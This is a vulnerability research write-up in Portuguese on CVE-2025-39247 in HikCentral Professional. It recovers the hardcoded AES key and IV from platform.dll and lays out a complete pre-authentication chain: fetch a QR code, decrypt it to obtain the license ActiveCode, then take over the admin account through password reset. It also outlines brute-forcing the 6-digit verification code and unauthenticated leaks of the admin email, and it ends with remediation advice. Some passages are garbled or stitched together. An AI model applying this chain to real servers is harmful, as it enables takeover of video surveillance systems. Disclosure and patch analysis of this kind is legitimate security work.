
HikCentral Professional - Vazamento de ActiveCode de Licença Pré-Autenticação
Antes de descarregar algo, o que já está público:
| Fonte | O que nos diz |
|---|---|
| Aviso de segurança da Hikvision | "Faltam verificações de autenticação em endpoints da API", recomendação de atualizar para V2.6.3 / V3.0.1 |
| NVD CVE-2025-39247 | Métricas CVSS; vetor é rede, sem autenticação, âmbito alterado, confidencialidade alta |
| Resumos da Wiz, ZeroPath, SentinelOne, OffSeq, gbhackers, cybersecuritynews | Todos repetem o aviso; nenhum detalhe técnico, nenhum PoC, nenhum endpoint afetado nomeado |
| Agregadores de PoC no GitHub (poc-in-github, 0xMarcio/cve, etc.) | Nenhum PoC indexado |
| Fóruns (ipcamtalk, cctvforum, reddit), indexadores de torrent | Nenhum PoC, nenhum instalador vazado; o ipcamtalk tem um tópico de uso do HikCentral mas nada relacionado a exploração |
Portanto, na data de análise, não existe nenhum artigo técnico público que exponha a falha. Qualquer reprodução começa com diff binário.
Após a publicação do CVE-2025-39247, a página de descarregamento do V2.6.2 foi removida, mas o ficheiro na CDN nunca foi eliminado. O nome do ficheiro pode ser recuperado a partir de um espelho de terceiros que indexou a página antes da remoção (FileHorse — publicou nome do ficheiro e MD5). Com esse nome de ficheiro, um simples GET à CDN da Hikvision — usando apenas um User-Agent de navegador normal e um cabeçalho Referer correspondente — ainda o serve.```bash
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0"
-H "Referer: https://www.hikvision.com/en/support/download/software/hikcentral-professional-v2-6-2/"
-O
"https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe"
Resultado:
- Tamanho: 1,314,043,792 bytes (1.22 GB)
- MD5: `76d42e7cb16dc0e177b9a35d0fed7ced` — corresponde ao valor publicado pelo FileHorse, confirmando se tratar do instalador genuíno assinado pela Hikvision (não um reempacotamento de terceiros)
- Cabeçalhos da resposta CDN: `HTTP/2 200`, `content-type: application/x-msdownload`, `eo-cache-status: HIT`, `age: 2520395` (≈ 29 dias no cache de borda do Tencent EdgeOne sem remoção)
**Observação adicional que vale a pena reportar ao Hikvision PSIRT:** a "deslistagem" da página V2.6.2 é cosmética. O arquivo órfão está acessível no CDN sem autenticação e sem proteção de URL assinada. Os Pacotes Completos V2.5.1 e V2.6.0 respondem da mesma forma.
### 2.2 Instalador corrigido (Pacote Base V2.6.3)
Atualmente vinculado à página de download do V2.6.3; mesmo método de obtenção:```
https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-3/HikCentral-Professional_Base-Pack_V2.6.3.202508280142_Win_x64_Installer.exe
Ainda vinculado da página de download V2.6.2 (Hikvision deseja que os usuários o apliquem):``` https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/cve-2025-39247-security-vulnerability-patch/HikCentral-Professional_CVE-2025-39247_FixPack_V2.3.1-V2.6.2V3.0.0_20250904.exe
Tamanho: 32,599,504 bytes (31 MB)
---
## 3. Extração estática
Todos os três são wrappers PE no estilo InstallShield. `7z` extrai-os em duas passagens:```bash
# pass 1 — extract PE resources
7z x -o./extracted/v262/pe downloads/<v2.6.2 installer>
7z x -o./extracted/v263/pe downloads/<v2.6.3 installer>
# pass 2 — extract the nested 7-Zip streams hiding in PE resources
# (note: the resource-type label says "ZIP" but the byte signature is 7-Zip)
for ver in v262 v263; do
for z in extracted/$ver/pe/.rsrc/2052/ZIP/*; do
sz=$(stat -c %s "$z"); [ "$sz" -lt 1048576 ] && continue
7z x -o"extracted/$ver/payload/$(basename $z)" "$z"
done
done
Ambos os instaladores se expandem em aproximadamente duas dúzias de arquivos de payload nomeados. Os diretórios de nível superior revelam a arquitetura:
Crucialmente, não há JARs/WARs Java em nenhum lugar. O backend é C++ sobre Nginx — importante porque informa desde o início que qualquer falha de autenticação estará em binários compilados, não em bytecode WAR/JAR onde a descompilação é trivial.
for ver in v262 v263: find . -type f -print0 | xargs -0 md5sum | sort -k2 > inv_$ver.txt
v262 = {ln[34:]: ln[:32] for ln in open("inv_v262.txt")} v263 = {ln[34:]: ln[:32] for ln in open("inv_v263.txt")} common = set(v262) & set(v263) changed = [p for p in common if v262[p] != v263[p]]
Resultado: 239 arquivos alterados em caminhos comuns. Distribuição:
| Bucket | Count | Comment |
|---|---|---|
| `246/www/*.js` (Web UI chunks) | ~200 | Principalmente hashes de assets com versão atualizada; ignore |
| `246/Nginx/conf/nginx_location.conf` | **1** | **Delta de configuração Nginx em arquivo único — comece aqui** |
| `246/Nginx*/install.bat` | 6 | Scripts de instalação, não relacionados |
| `244/bin/*.{exe,dll}` | 6 | Binários nativos (`DistributionFilter.dll`, `FilterChain.dll`, ferramentas de mídia) |
| `282/*.{exe,dll}` | 55 | Serviços de aplicação (o maior cluster — `platform.dll`, `PersonCredential.dll`, `baseacs.*`, …) |
| `240/bin/pg_*` | 6 | Reconstrução do Postgres, não relacionada |
| `284/hplugin/dahua_plugin/*` | 4 | Atualização do SDK do fornecedor (+10.97 MB) — não relacionada |
| `284/hplugin/onvif_plugin/*` | 4 | Atualização do SDK do fornecedor (+0.99 MB) — não relacionada |
| upgrade/uninstall stubs, crash reporters | ~30 | Reconstruções de timestamp PE do mesmo tamanho, ignore |
Após filtrar a atualização do SDK do fornecedor, desvios de timestamp do sistema de build e meros ajustes cosméticos de assets, os *verdadeiros* deltas relevantes para segurança se reduzem a:
- Um arquivo de configuração Nginx
- Um pequeno número de binários C++ em `282/` (principalmente `platform.dll`, o serviço backend HCMP, +57 KB)
---
## 5. O diff do Nginx: localização de bug sem custo
`diff -u nginx_location.conf` entre V2.6.2 e V2.6.3 produz exatamente um hunk: um bloco `location =` totalmente novo no V2.6.3.```nginx
#禁止非127.0.0.1和::1的重置密码 ← "Forbid non-127.0.0.1/::1 password reset"
location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {
if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; }
if ($allowed != "1") { return 403; }
if ($scheme = "http") { proxy_pass http://http_backend; }
if ($scheme = "https") { proxy_pass http://http2_backend; }
}
Essa única adição de 21 linhas é toda a correção do CVE-2025-39247 na camada de entrada, e isso diz tudo:
PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword/ISAPI/Bumblebee/Platform/V0/* para o backend sem restrição de endereço remoto e sem verificação de autenticação em nível de Nginx.O comentário em chinês é importante: ele se traduz literalmente como "*Forbid password reset from non-127.0.0.1/::1*".
O JavaScript da interface web (minificado, em 246/www/Portal/*.js) chama o endpoint como:```js
// API definition (de-minified):
changeDefaultUserPassword: function (sid, payload, opts) {
return http.put({
url: "ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword",
data: { ChangeDefaultUserPasswordRequest: payload },
params: { SID: sid }
}, opts);
}
// Call site: changeDefaultUserPassword(n.SID, { UserName: form.userName, // "admin" Password: jsEncrypt.encrypt(form.newPassword), // RSA-PKCS1v15 ActiveCode: form.activeCode ? jsEncrypt.encrypt(form.activeCode) : "", QuestionList: questionAnswers // [{ID, Answer}, …] or [] }, ...);
// The RSA pubkey comes from another unauthenticated endpoint: getCrypto: function () { http.get({ url: "ISAPI/Bumblebee/Platform/V0/Security/Crypto" }); } // returns: { CryptoKey: <PEM/base64 RSA pubkey>, ... }
Então, mesmo antes de desmontar qualquer coisa, o JS público fornece a forma completa do wire. Mas também revela a parte complicada: o corpo da requisição precisa de **um `ActiveCode` válido ou respostas corretas do `QuestionList`**. Enviar valores vazios não funciona — o backend rejeita com um dos erros documentados (verificado por mineração de strings do `platform.dll`, §7).
Portanto, o CVE-2025-39247 **não** é "o endpoint é bypass de autenticação; envie campos vazios e a senha muda". É "o endpoint *confia em um chamador apenas local* para já ter o ActiveCode correto; o bug é que a porta de localhost em nível de rede está ausente, então qualquer *chamador remoto* que também possa fornecer um ActiveCode ou QuestionList válido é bem-sucedido." Portanto, o verdadeiro quebra-cabeça do exploit é: de onde vêm o ActiveCode ou o QuestionList?
---
## 7. Manipulador do backend — mineração de strings do `platform.dll`
`platform.dll` é o serviço backend do HCMP, 46,87 MB na V2.6.2, 46,93 MB na V2.6.3 (+57 KB). Todas as strings de roteamento, strings de formato de log e strings C++ RTTI / `__FUNCTION__` estão presentes em texto claro.
Strings dentro de `platform.dll` ao redor do manipulador:```
VSMPlatform::CCmd::Security_ChangeDefaultUserPassword
..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp
/ChangeDefaultUserPasswordRequest/UserName
/ChangeDefaultUserPasswordRequest/Password
/ChangeDefaultUserPasswordRequest/ActiveCode
/ChangeDefaultUserPasswordRequest/CryptoKey
/ChangeDefaultUserPasswordRequest/QuestionList
/ChangeDefaultUserPasswordRequest/QuestionList[%d]/Answer
[%s]IP=[%s] Reqest Paramter active_code and security_question both empty!
[%s]invalid active_code=%s
[%s]security question verify fail
[%s]IP=[%s] Isn't Super User!
[%s]IP=[%s] User Not Exist!
[%s]RSADecrypt fail! err_code=%d session=%s encrypt_str_id=%s encrypt_answer=%s
[%s] ChangeDefaultUserPassword by ip[%s].
Ambas as versões do platform.dll contêm essas strings. Portanto, a lógica de validação existe também no V2.6.2 — ActiveCode e QuestionList são verificados.
Strings que existem no V2.6.3 platform.dll e não no V2.6.2:```
VSMPlatform::CRetrievePwdByQuesFreezeManager::AddAccountLoginFailCount VSMPlatform::CRetrievePwdByQuesFreezeManager::ClearAccountFreeze VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountFreezeSurplusCount VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountLockRemainingFreezeTime VSMPlatform::CRetrievePwdByQuesFreezeManager::IsAccountFreeze ....\src\vsmplatform\Authentication\UserLogin\Freeze\RetrievePwdByQuesFreezeManager.cpp [%s]AddAccountLoginFailCount only admin can lock, but id: %d
127.0.0.1
admin
VSMPlatform::CCmd::CheckToken /ResponseStatus/Data/TokenValid [%s]token = %s, session = %s
/ResponseStatus/Data/RetrievePasswordResult/RemainingNumber /ResponseStatus/Data/RetrievePasswordResult/LockRemainTime /ResponseStatus/Data/RetrievePasswordResult/RemainingType
Tradução: V2.6.2 não tinha **nenhum** limite de taxa no caminho de validação `ChangeDefaultUserPassword`. Um atacante que fornece um ActiveCode errado ou respostas erradas para perguntas de segurança apenas recebe um erro e pode repetir indefinidamente. A string de formato do código de verificação `%06d` também está em `platform.dll` (junto com o esquema SQL `verify_code VARCHAR(64)`), confirmando que o código de verificação de e-mail é um **decimal de 6 dígitos**, espaço de busca 10⁶.
Isso já é um exploit viável (caminho A): acionar `SendVerifyCode`, forçar 10⁶ códigos dentro da janela de expiração sem bloqueio. A 1000 req/s, o tempo médio para sucesso ≈ 8 minutos. Mas há um caminho mais afiado.
---
## 8. A superfície de divulgação de informações pré-autenticação
A enumeração de endpoints em `platform.dll` revela vários irmãos que parecem relacionados:```
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrieveStateInfo
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrievePasswordWithName
/ISAPI/Bumblebee/Platform/V0/Permission/Users/SendVerifyCode
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestion
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestionCheck
/ISAPI/Bumblebee/Platform/V0/Security/Crypto
/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode
Nenhum destes é restrito por nginx_location.conf; todos passam pelo mesmo proxy padrão /ISAPI/Bumblebee/Platform/*. As strings de handler mostram o que retornam:```
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Email
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Name
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RetrieveType
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RemainVerityCodeTimeout
/ResponseStatus/Data/UserRetrieveStateInfo/SystemMailSetted
/ResponseStatus/Data/UserRetrieveStateInfo/SecurityQuestionSetted
/ResponseStatus/Data/UserRetrieveStateInfo/AllowRetrieve
Então `RetrieveStateInfo(Name=admin)` retorna o email de admin, se a recuperação por pergunta de segurança está configurada, se a recuperação por email está configurada e o tempo de vida restante de qualquer código de verificação em andamento — para qualquer um, não autenticado.
`RetrieveStateInfo` não é protegido pelo patch V2.6.3. A divulgação de informações persiste no V2.6.3.
---
## 9. A superfície de ataque da licença/QR
O endpoint `/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode` é notável porque seu nome associa *License* a *ActiveCode* — e o tratador de redefinição de senha aceita um campo `ActiveCode` também. Isso é uma sobreposição suspeita de terminologia.
Strings reachable from that handler:```
License:%s;DZP:%s ← QR plaintext format
[%s]PrivateAESEncrptQRCode failed! data:%s ← AES path used to encrypt
[%s]Base64Encode failed! data:%s ← then base64
/ResponseStatus/Data/QRCode ← response field
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=%s
Portanto, o QR é Base64( AES-128-CBC-PKCS7( "License:<ActiveCode>;DZP:<DeviceCode>" ) ) e o texto simples contém literalmente o ActiveCode de licença por instalação que o endpoint de redefinição de senha valida. O QR está encapsulado em um modelo de URL https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<base64-of-ciphertext> que então é renderizado como um QR-PNG; o PNG é o que o campo da resposta JSON Data.QRCode retorna.
Confirmação pela diff V2.6.3: a string de formato License:%s;DZP:%s existe no V2.6.2 platform.dll e é removida no V2.6.3. O próprio endpoint QR, o símbolo de função PrivateAESEncrptQRCode e o literal IV (§10) persistem no V2.6.3 — apenas o formato do texto simples vazado foi removido. É exatamente o que se esperaria que a correção da Hikvision se parecesse.
Este é o passo de trabalho pesado. Plano:
VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode em platform.dll.A string de formato de erro [%s]PrivateAESEncrptQRCode failed! data:%s reside em .rdata. Encontre seu VMA em .rdata, então escaneie .text por instruções lea r, [rip + rel32] que resolvam para aquele VMA. (Para 16 MB de .text, isso leva alguns segundos com pefile + capstone fazendo uma varredura linear pelo padrão REX.W + 8D + MODRM mod=00 rm=101.)
O log de erro é referenciado exatamente por uma instrução em 0x1812553f7. Subindo para a função envolvente via .pdata (a tabela de unwind PE x64 — cabeçalho de seção analisável com pefile, doze bytes por entrada RUNTIME_FUNCTION: start_RVA, end_RVA, unwind_RVA) obtém-se o manipulador ISAPI externo CLicenseISAPIComm::ActiveCodeQRcode em 0x181254cc0..0x181255919.
Essa função externa constrói a string de texto simples "License:%s;DZP:%s" e codifica o resultado em base64; a chamada AES real está em um auxiliar um nível abaixo, em 0x18002a397 (resolve via um thunk jmp para uma função de 502 bytes cuja string RTTI é VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode — confirmado por xref de string).
0x1807d33e0Desmontando o corpo de 502 bytes e listando cada lea r, [rip + rel32] cujo alvo esteja em .rdata retorna apenas 5 referências a strings:```
0x1807d34d2 -> 0x18200b1b0 len=16 'AaBbCcDd1234!@#$' ← 16 bytes of letters/digits/symbols
0x1807d3516 -> 0x18200b1d0 len=48 '....\src\vsmplatform\Common\PrivateAESEncrypt\PrivateAESEncrypt.cpp'
0x1807d352a -> 0x18200b218 len=48 'VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode'
0x1807d3531 -> 0x18200b250 len=23 '[%s]error is %d[%s(%d)]'
0x1807d3538 -> 0x18200b268 len=23 'platform.PriorityLogger'
A primeira entrada é a única stringref de 16 bytes. Esse comprimento é suspeito: bloco / chave / IV AES são todos de 16 bytes para AES-128. O literal `AaBbCcDd1234!@#$` — oito pares de letras alternando maiúsculas/minúsculas seguidos por `1234!@#$` — também tem a forma típica de "constante placeholder de desenvolvedor" (semelhante aos *reais* padrões ASCII `BAADF00D` / `DEADBEEF`). Neste ponto, uma hipótese razoável é "este é o IV".
Essa hipótese é apoiada pelo contexto da desmontagem. A sequência de instruções ao redor da stringref:```asm
; ... build first 16 bytes of something into buffer at [rsp+0xc0] ...
mov dword ptr [rsp + 0x100], 5 ; some flag = 5
lea rdx, [rip + 0x1837cd7] ; <— loads "AaBbCcDd1234!@#$"
lea rcx, [rsp + 0xe0] ; destination
call <thunk> ; std::string assign-like; copies 16B into [rsp+0xe0]
mov dword ptr [rsp + 0x104], 1
lea rdx, [rsp + 0xa0] ; pass: rdx = key (16B at [rsp+0xa0])
lea rcx, [rsp + 0x60] ; pass: rcx = output buffer
call <encrypt-wrapper at 0x180007563> ; → 0x181b03790, a generic AES mode-dispatcher
; that imports AES_cbc_encrypt, AES_cfb128_encrypt,
; AES_ecb_encrypt and AES_ofb128_encrypt.
; QR path takes the AES_cbc_encrypt branch.
Assim [rsp+0xe0] acaba por conter os bytes do IV, [rsp+0xa0] contém 16 bytes construídos anteriormente em [rsp+0xc0] (a chave), e esses dois buffers são então passados para o wrapper OpenSSL. Confirmar a recuperação do IV é apenas uma questão de verificação cruzada: o platform.dll da V2.6.3 ainda contém o literal AaBbCcDd1234!@#$ no mesmo offset — a Hikvision não rotacionou o IV, o que é a escolha criptográfica correta (apenas a chave precisa ser secreta, o IV precisa ser único por mensagem, mas um IV fixo é "fraco", não "quebrado", da mesma forma que uma chave fixa seria).
Imediatamente acima da referência de string do IV, o wrapper configura a chave com esta curta sequência:```asm mov dl, 0x41 ; seed byte = 'A' lea rcx, [rsp + 0x140] ; this-pointer for a local buffer call <thunk 0x1800683fe> ; → 0x1807d19b0 (599-byte function) mov [rsp + 0x50], rax mov rdx, [rsp + 0x50] ; rdx = pointer to the 16-byte buffer the call just produced lea rcx, [rsp + 0xc0] call <std::string assign> ; copy the 16 bytes into the key buffer at [rsp+0xc0]
Então desmontando `0x1807d19b0`: é uma *função de derivação de chave puramente aritmética*. Ela pega um byte como entrada (o `0x41`), aloca 16 bytes na pilha e escreve 16 valores, cada um calculado como `seed + offset_i` para uma sequência fixa de 16 offsets sinalizados:```
+0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39,
−0x10, −0x0F, −0x0E, −0x0D, −0x20, −0x01, −0x1E, −0x1D
Com a seed 0x41 ('A'):
Algorithm: AES-128-CBC with PKCS7 padding IV (16): 41 61 42 62 43 63 44 64 31 32 33 34 21 40 23 24 → AaBbCcDd1234!@#$ KEY (16): 57 77 58 78 59 79 5A 7A 31 32 33 34 21 40 23 24 → WwXxYyZz1234!@#$
Mesma família aritmética. Mesmo trailing 8 bytes (`1234!@#$`). Ambos são constantes embutidas no binário idênticas em todas as instalações V2.6.2 (e em V2.3.1 .. V2.6.2 e V3.0.0 — compartilham o caminho de criptografia QR), então uma recuperação única de uma cópia do `platform.dll` é suficiente para descriptografar o QR de qualquer servidor HCMP vulnerável na rede.
---
## 11. Cadeia ponta a ponta
A cadeia divide-se claramente em duas metades:
- **Metades 1-3** são um problema de **divulgação de informações** não autenticado no HCMP. Elas são executadas contra o alvo com duas requisições somente leitura e recuperam um segredo por instalação (o License ActiveCode) de um endpoint de pré-login.
- **Metades 4-5** são a **tomada de controle** realizada ao submeter o ActiveCode recuperado ao fluxo legítimo "Esqueci a senha" do HCMP através da interface web normal. Nenhuma requisição HTTP especial é necessária — o operador clica no mesmo formulário que um usuário legítimo usaria.
A divisão é importante: permite que o PoC de referência seja implementado como uma ferramenta de reconhecimento pura, sem nenhum caminho de código destrutivo em lugar nenhum (o fluxo da interface permanece com o humano no circuito).```
HALF 1 — automated recon (recovers the ActiveCode):
1. POST /ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET (empty body)
(unauthenticated, read-only)
→ ResponseStatus.Data.CryptoResponse.{SID, CryptoKey, CryptoType, CryptoMode}
→ SID is a server-issued anonymous session token used by step 2.
2. POST /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID=<sid>
(empty body, unauthenticated, read-only)
→ ResponseStatus.Data.QRCode = base64( PNG image of a QR code )
The QR's payload is the URL template
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<b64>
where <b64> = base64(
AES-128-CBC-PKCS7(
KEY = WwXxYyZz1234!@#$,
IV = AaBbCcDd1234!@#$,
PT = "License:<code>[,<code>...];DZP:<devicecode>"))
The License field is a COMMA-SEPARATED LIST of one or more ActiveCodes
(one per licensed module on the target). Any single ActiveCode in
that list is accepted by the takeover workflow in HALF 2.
3. Locally:
a. base64-decode the QRCode field → PNG bytes
b. decode the QR (e.g. pyzbar) → URL string
c. extract the SN= parameter (DO NOT use form-decode — '+' is a valid
base64 character that must survive verbatim)
d. base64-decode → 16N bytes of AES ciphertext
e. AES-128-CBC decrypt with the hardcoded KEY+IV, PKCS7-unpad
f. split on "License:" / "," / ";DZP:"
→ list of ActiveCodes in plaintext.
HALF 2 — manual takeover via the legitimate Web UI:
4. Open https://<target>:<port> in a browser.
5. Click «Forgot password».
6. Username → admin
7. Recovery method → «Activation code» (NOT email / questions)
8. Activation code → <one of the recovered ActiveCodes>
9. Choose & confirm a new admin password.
10. Log in as admin with the new password.
Sem força bruta, sem engenharia social, sem conhecimento prévio, exceto o par KEY+IV de 16 bytes que é recuperável uma vez a partir de uma platform.dll V2.6.2 e idêntico em todas as instalações de todas as versões vulneráveis. As Halves 4-10 são realizadas manualmente pelo operador através da interface legítima — não há equivalente automatizado no PoC de referência.
Implementação: poc/cve_2025_39247_poc.py — um script Python apenas de reconhecimento. Ele realiza a HALF 1 (dois POSTs pré-autenticação somente leitura) e então imprime a receita manual (passos 4-10) com a URL alvo do operador e o(s) ActiveCode(s) recuperado(s) preenchidos. O script não contém código que escreva no alvo; a HALF 2 é realizada manualmente através da Web UI, de modo que a ferramenta permanece um instrumento de verificação em vez de uma arma do tipo "dispare e esqueça".
Executar:```bash python3 poc/cve_2025_39247_poc.py https://:
Dois parâmetros `--qr-*` permitem que o script execute completamente offline contra um QR capturado (para análise sem reacessar um alvo):
- `--qr-scanned-text '<valor>'` — cole o conteúdo textual de um QR escaneado
- `--qr-ciphertext-hex <hex>` — alimente o texto cifrado AES (decodificado em base64) pré-extraído
---
## 12. O que a V2.6.3 (e o Fix-Pack) realmente mudou
| Defesa | V2.6.2 | V2.6.3 | Fix-Pack na V2.6.2 |
|---|---|---|---|
| Restrição de remote-addr do Nginx em `ChangeDefaultUserPassword` | ausente | **adicionado** | **adicionado** (via script InstallShield no EXE do Fix-Pack — confirmado pelas strings `\VSM Servers\Web Service\Nginx\conf\nginx_location.conf` / `_bak.conf` dentro do mecanismo de instalação do Fix-Pack) |
| Verificação literal de `127.0.0.1` no nível do aplicativo no handler | ausente | **adicionado** | não adicionado (Fix-Pack não altera `platform.dll`) |
| Bloqueio por conta (`CRetrievePwdByQuesFreezeManager`) | ausente | **adicionado (somente admin)** | não adicionado |
| Etapa de validação `CheckToken` | ausente | **adicionado** | não adicionado |
| Texto simples do QR contém `License:<ActiveCode>;DZP:...` | SIM | **removido** | não alterado (Fix-Pack não altera `platform.dll`) |
| Chave AES do QR | recuperável a partir do binário | rotacionada *ou* não utilizada (depende se a alteração no formato do texto simples tornou o caminho inoperante) | rotacionada via `wbaes_key_dec` + decodificador whitebox-AES no Fix-Pack |
| IV AES do QR | `AaBbCcDd1234!@#$` | inalterado | inalterado |
| Divulgação de informações `RetrieveStateInfo` | vaza | **ainda vaza** | ainda vaza |
| `GetSecurityQuestionCommBeforeLogin` | vaza | **ainda vaza** | ainda vaza |
| Instalador vulnerável acessível no CDN da Hikvision | sim | sim | sim |
O Fix-Pack traz uma peça móvel extra que a versão V2.6.3 não precisa: um **decodificador whitebox-AES** (`wbext_dec.exe`, caminho de origem vaza `D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c`, usa seu próprio literal `fixed_iv_16byte` IV) mais um **texto cifrado AES-128-CFB de 244 bytes** (`wbaes_key_dec`). O decodificador pega o blob de texto cifrado e produz uma nova chave de texto simples, que o instalador do Fix-Pack escreve no armazenamento do HCMP para rotacionar a chave QR incorporada no binário em instalações existentes V2.6.2. O Whitebox-AES é usado aqui puramente para tornar inconveniente extrair a chave rotacionada de volta do artefato do patch por inspeção — a mesma técnica defensiva usada por sistemas DRM.
---
## 13. Ações de remediação recomendadas (além dos patches lançados)
1. **Remover os binários do instalador órfãos do CDN.** `…/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.…exe` ainda serve HTTP/2 200 com um cache de borda de 29 dias. O mesmo vale para V2.6.0, V2.5.1 etc. — todo instalador na faixa vulnerável ainda é acessível por URL direta. A remoção a nível de página é cosmética.
2. **Autenticar `RetrieveStateInfo` e `GetSecurityQuestionCommBeforeLogin`.** Ambos vazam email de administrador e metadados de configuração de recuperação para chamadores anônimos também na V2.6.3; nenhum foi tocado pela correção.
3. **Parar de usar constantes placeholder ASCII como material de chave criptográfica.** `WwXxYyZz1234!@#$` é o tipo de valor que sobrevive a "revisão de código superficial". Substitua por material aleatório por instalação na primeira execução; se a compatibilidade com versões anteriores exigir um fallback embutido no binário, no mínimo derive-o de um hash do estado específico da instalação (GUID da máquina, timestamp de instalação) para que varie por implantação.
4. **Tratar "o IV não precisa ser secreto" como uma armadilha, não uma licença.** Manter o IV literal mesmo após a divulgação é matematicamente defensável em CBC, mas produz affordance desnecessária ao atacante uma vez que o diff expõe a rotação como apenas de chave.
5. **Para a família de endpoints `ChangeDefault*`**, prefira um listener Unix-domain-socket / loopback-only na camada de aplicação em vez de uma restrição de configuração do Nginx. Um arquivo de configuração está a um erro de edição de reintroduzir o bug; um `bind 127.0.0.1` no serviço C++ é estruturalmente mais seguro.
| Arquivo | Conteúdo |
|---|
246/Nginx + 246/www | Camada web Nginx (a porta de entrada) e a interface web SPA |
244/bin | Binários de serviço C++ nativos + certificados |
240 | PostgreSQL agregado + scripts de inicialização do banco de dados |
238 | runtime Bee* (BeeAgent, BeeGuard, …) |
282 | Serviços de aplicação e addons (a maior parte do código backend C++) |
281, 283-284, 396, 398-399, 513, 520, 538-541, 573 | Addons menores, plugins, stubs de atualização/desinstalação |
| pos | offset | byte | char |
|---|
| 0 | +22 | 0x57 | W |
| 1 | +54 | 0x77 | w |
| 2 | +23 | 0x58 | X |
| 3 | +55 | 0x78 | x |
| 4 | +24 | 0x59 | Y |
| 5 | +56 | 0x79 | y |
| 6 | +25 | 0x5A | Z |
| 7 | +57 | 0x7A | z |
| 8 | −16 | 0x31 | 1 |
| 9 | −15 | 0x32 | 2 |
| 10 | −14 | 0x33 | 3 |
| 11 | −13 | 0x34 | 4 |
| 12 | −32 | 0x21 | ! |
| 13 | −1 | 0x40 | @ |
| 14 | −30 | 0x23 | # |
| 15 | −29 | 0x24 | $ |